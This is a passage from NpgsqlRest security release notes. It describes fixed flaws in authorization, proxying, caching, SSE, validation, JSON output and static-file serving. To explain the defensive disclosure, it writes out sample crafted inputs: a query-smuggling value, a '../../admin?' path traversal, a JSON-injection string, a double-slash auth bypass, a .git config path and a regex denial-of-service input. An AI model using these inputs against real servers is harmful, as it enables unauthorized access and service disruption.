`admin` passed `authorize admin`. +- A user name equal to someone else's user id passed `authorize `. + +SSE had the same problem: an event with the hint `authorize admin` was also delivered to a user *named* `admin`. + +**What changed.** Each value now says what it matches: + +| Value | Matches | Example | +| --- | --- | --- | +| plain value | the role claim (`DefaultRoleClaimType`) only | `authorize admin, editor` | +| `user:` | the user name claim (`DefaultNameClaimType`), case-insensitive | `authorize user:john` | +| `id:` | the user id claim (`DefaultUserIdClaimType`), case-insensitive | `authorize id:42` | + +The same rules apply to `sse_scope authorize ...` and to SSE hints. Also fixed: roles from an SSE hint were added to the endpoint's shared role list, so they piled up across events (later events reached recipients meant only for earlier ones) and the list was changed concurrently. Hint roles now apply to their own event only. + +**What to check.** +- An `authorize` list naming specific users or ids must use the prefixes: `authorize john` becomes `authorize user:john`, and `authorize 42` becomes `authorize id:42`. Without the prefix, those users now get `403`, which fails safe. +- A plain numeric or GUID value logs a startup warning, because it is most likely a user id. +- Per-user SSE notifications written as `using hint = format('authorize %s', _user_id)` must become `format('authorize id:%s', _user_id)`, or the events no longer reach the user. + +#### Basic Auth on overloaded routines applied to the wrong overload + +**Severity: Medium.** Applies to endpoints using `basic_auth` where several routines share one path and differ by parameter count (overloads), and only some of them use `basic_auth`. + +**What was wrong.** Basic Auth was checked for the path's primary endpoint, which is the routine registered last, before the request was matched to an overload by its parameters. So: +- an overload with `basic_auth` whose primary had none **ran without credentials**; +- public overloads of a `basic_auth` primary were asked for credentials they don't need. + +**What changed.** Basic Auth runs for the routine the request actually resolves to. When every overload of a path uses Basic Auth (or the global `Auth:BasicAuth` option is on), it still runs first, before any request processing. Otherwise it runs as soon as the overload is known. Non-overloaded endpoints behave exactly as before. + +#### Breaking: the reverse proxy no longer forwards credentials or client-chosen identity + +**Severity: Medium.** Applies to endpoints using the `proxy` annotation (`NpgsqlRest:ProxyOptions`), and to HTTP Custom Types for the cookie part. + +**What was wrong.** +- **The user's credentials went to the upstream.** All request headers except `Host`, `Content-Length` and `Transfer-Encoding` were forwarded, including the user's session `Cookie` and `Authorization` (JWT/bearer token), even when the upstream is a third-party service. The upstream's `Set-Cookie` headers were passed back too, so another service could set cookies on your application's origin. +- **Clients could choose the identity the upstream saw.** Server-filled values, meaning `user_params` parameters in the query string and `user_context` headers such as `request.user_id`, were **appended after** whatever the client sent under the same name: `?userId=&userId=`, or two `request.user_id` header values. For anonymous callers the client's value was the only one. +- **Upstream cookies were shared between users.** The proxy and HTTP Custom Types use one shared HTTP client, and it kept a cookie jar. A cookie that an upstream set during one user's request was stored and sent with every later upstream request, for every user. + +**What changed.** +- `ExcludeHeaders` now also contains `Cookie`, `Authorization` and `Proxy-Authorization`, and `ExcludeResponseHeaders` contains `Set-Cookie`. +- Client query parameters and headers named like a server-filled value are removed before forwarding. The upstream only receives the server's values, and none at all when the server has none. +- The shared HTTP client no longer stores cookies. + +**What to check.** If a proxied internal service relies on receiving the caller's bearer token, remove `"Authorization"` from `ExcludeHeaders`: + +```json +{ + "NpgsqlRest": { + "ProxyOptions": { + "ExcludeHeaders": ["Host", "Content-Length", "Transfer-Encoding", "Cookie", "Proxy-Authorization"] + } + } +} +``` + +#### Response cache: different requests (and different users) could share a cached response + +**Severity: Medium.** Applies to endpoints using the `cached` annotation, or cache profiles, with more than one cached parameter or with omitted parameters, and to cached `proxy` endpoints. + +**What was wrong.** A cache key was built from the routine and the *values* of the cached parameters the request supplied, separated by an invisible character, without parameter names or lengths: +- Omitted parameters left no trace. For `f(_a default null, _b default null)` cached on both, `?a=x` and `?b=x` produced the same key, so one request received the other's cached result. +- A value could contain the separator itself (`%1F` in the query string), so `?a=x%1Fy` was the same key as `?a=x&b=y`. +- **Across users:** on a `user_params` endpoint, a signed-in user's id (from their claim) and an anonymous caller's own parameter with the same value produced the same key. The anonymous caller received the signed-in user's cached response. +- Cached proxy endpoints ignored query-string values that are not routine parameters (they are still forwarded to the upstream) and the request body, so `?page=1` and `?page=2` shared one cached upstream response. + +**What changed.** +- Every cached parameter is written into the key with its name and the length of its value. NULL is marked separately from an empty string, and an omitted parameter is distinguishable. +- For proxy endpoints, the raw query string and the request body are part of the key too. + +Existing cache entries no longer match after the upgrade and are simply recomputed. External caches (Redis, Hybrid) need no action. + +#### Memory cache: callers could grow server memory without limit + +**Severity: Medium.** Applies to endpoints using `cached` (or a cache profile) with the in-memory cache, which is the default cache type. + +**What was wrong.** Cache keys contain request parameter values, so each distinct value a caller sent added an entry to the memory cache. Nothing limited the number of entries, and entries without an expiration were never removed. Sending many requests with different values (`?q=1`, `?q=2`, ...) grew server memory until the process ran out. Set-returning cached endpoints also kept a small lock object per distinct key forever. + +The same lock had a second bug. A request cancelled while waiting for it still released it on the way out. That let two requests for the same key run concurrently, and later caused an error when the lock was released again. + +**What changed.** +- New option **`CacheOptions:MemoryCacheMaxEntries`**, default `100000`. When the cache is full, responses for new keys are returned without being cached. Existing entries keep serving and expire normally, and updates to an existing key are always allowed. Set it to `0` for no limit. +- The per-key locks of set-returning endpoints exist only while requests hold or wait for them. A cancelled wait no longer releases a lock it never acquired. + +```json +{ + "CacheOptions": { + "MemoryCacheMaxEntries": 100000 + } +} +``` + +Redis and Hybrid caches are not affected; their memory is managed by Redis and HybridCache. + +#### Breaking: HTTP Custom Types encode request values in the URL, and calls time out after 30 seconds by default + +**Severity: Medium.** Applies to HTTP Custom Types (`HttpClientOptions:Enabled`) whose URL contains `{placeholders}` filled from request parameters, and to types without a `@timeout` directive. + +**What was wrong.** +- Parameter values were inserted into the outbound URL as they were. A caller could change the request the server makes on their behalf. In `GET https://api.example.com/search?q={_q}&limit=5`, the value `x&limit=1000` added its own `limit`. In `GET https://api.example.com/users/{_id}/profile`, the value `../../admin?` walked the path to a different resource. The request still went out with the type's headers, such as an API key. +- A type without `@timeout` had no time limit, while the error messages claimed 30 seconds. A hanging upstream held the request, and its database connection, indefinitely. + +**What changed.** +- In the URL, request-derived values (function parameters, including resolved parameters and the type's own fields) are percent-encoded, so each one stays inside its own path segment or query value. The target service decodes them back to the original value. Environment variable values are not encoded (they are operator configuration, such as a base URL). Header values and the request body are unchanged. +- Self-calls (relative URLs such as `GET /api/users/{_id}`) decode path values again, so the target endpoint receives the original value. +- Calls without `@timeout` now time out after 30 seconds: `status_code` is `408` and `error_message` is set. + +**Do you need to do anything?** Only if one placeholder holds several URL parts at once, such as a whole query string (`?{_filters}`) or a sub-path with `/` (`/files/{_path}`). Those characters are now encoded. Split such values into one placeholder per value, or use an environment variable for parts that are configuration. Add `@timeout` to calls that legitimately take longer than 30 seconds. + +#### Server-Sent Events: forged events, and unbounded memory for idle subscribers + +**Severity: Medium.** Applies to endpoints that publish `RAISE` notices as Server-Sent Events (`sse`, `sse_publish`). + +**What was wrong.** +- The notice message was written into the stream as-is. In SSE, a line break starts a new field, and an empty line ends the event. A message containing line breaks, such as `raise info 'New comment: %', _text` with user-written `_text`, could therefore: + - add its own `event:`, `id:` or `retry:` fields; + - end the event early and append a forged second event, delivered to every subscriber in scope. +- Each subscriber had an unlimited buffer of events waiting to be written. A client that connected and then stopped reading made the server keep every published event for it until the connection closed. + +**What changed.** +- Each line of a message is now sent on its own `data:` line. This is how the SSE format carries multi-line data: the browser's `EventSource` joins the lines back with `\n`, so `event.data` is the original message. Multi-line messages previously arrived truncated, and now arrive whole. A `\r\n` line break arrives as `\n`. +- Each subscriber buffers at most 10,000 pending events. When a subscriber falls that far behind, its oldest pending events are dropped. Clients that keep reading are not affected. + +The execution-id filter (`?` on the subscribe URL) is unchanged. It narrows a stream to one execution's events; who may see an event is still decided by the event's scope (`matching`, `authorize`, `all`). + +#### Validation: a crafted value could keep the server busy for minutes + +**Severity: Medium.** Applies to endpoints using `validate ... using email`, or any custom rule of type `Regex`. + +**What was wrong.** The built-in `email` pattern (`^[^@\s]+@[^@\s]+\.[^@\s]+$`) slows down quadratically on input such as `a@` followed by many dots and a space. A 40 KB value took 0.7 seconds of CPU, and a 400 KB value in a JSON body over a minute. Each such request kept a CPU core busy, and there was no time limit. Custom `Regex` rules had the same exposure, depending on their pattern. + +**What changed.** +- Each rule's pattern is compiled once and run with .NET's non-backtracking engine, which always takes linear time. The 400 KB example now takes milliseconds. Results are unchanged; validation only checks whether the value matches. +- Patterns the linear engine cannot run (backreferences such as `\1`, lookarounds) use the regular engine, with a 250 ms time limit per check. +- A value that hits the limit fails validation, and a warning is logged. + +#### Enum and domain columns: invalid JSON and JSON injection + +**Severity: Medium.** Applies to functions and queries that return columns of an **enum** type or a **domain** type. + +**What was wrong.** NpgsqlRest has no specific mapping for enum and domain types, and it wrote their text into JSON responses unquoted: +- An enum value produced invalid JSON: `{"mood":happy}`. +- A domain over `text` let stored data inject JSON keys. A value such as `x","isAdmin":true,"y":"z` turned into an extra `isAdmin` property. +- An empty value failed with HTTP `500` ("Index was outside the bounds of the array"). + +**What changed.** These values are now written as properly escaped JSON strings: `{"mood":"happy"}`, and the domain value above stays one string, `"x\",\"isAdmin\":true,\"y\":\"z"`. An empty value becomes `""`. + +#### Static files: protected pages reachable through path variants, `.git` served, unbounded memory + +**Severity: Medium.** Applies to the `npgsqlrest` client serving static files (the `StaticFiles` section). + +**What was wrong.** +- **`AuthorizePaths` could be bypassed.** The rules were matched against the raw request path, while the file itself was found through a normalized path. A request for `//protected/page.html` did not match the rule `/protected/*`, yet still served `/protected/page.html` to anonymous users. The same applied to `///…` and other variants, and to `\` on Windows. +- **Files inside dot-directories were served.** Dotfiles such as `.env` were already excluded, but a file *inside* a dot-directory was not: if the web root contained a `.git` folder, `/.git/config` (which can contain credentials) and the whole repository history could be downloaded. +- **Memory grew without limit.** Small per-path caches, and the cache of parsed HTML templates (`CacheParsedFile`), were keyed by the raw request path. Every `//` or case variant of an existing file added another entry, and parsed HTML files were stored again in full each time. + +**What changed.** +- `AuthorizePaths` and `ParsePatterns` are matched against the canonical path of the file actually served (its path relative to the web root), so every variant is protected the same way. +- Paths with a segment starting with `.` are no longer served. The exception is `/.well-known/`, which is used for ACME challenges and `security.txt`. +- The per-path pattern caches are removed (the matching is cheap). The parsed-template cache is keyed by the physical file and limited to 1,000 entries. + +#### Claim values in parsed static HTML could inject script + +**Severity: Medium.** Applies to static file parsing (`StaticFiles:ParseContentOptions`) with claims or environment variables templated into HTML pages, such as `{user_name}`. + +**What was wrong.** Values were JSON-escaped with the "relaxed" encoder, which leaves `<`, `>` and `&` as they are. Claim values often come from data a user controls, such as a display name returned by the login function or an OAuth profile name. A value like `` closed the surrounding `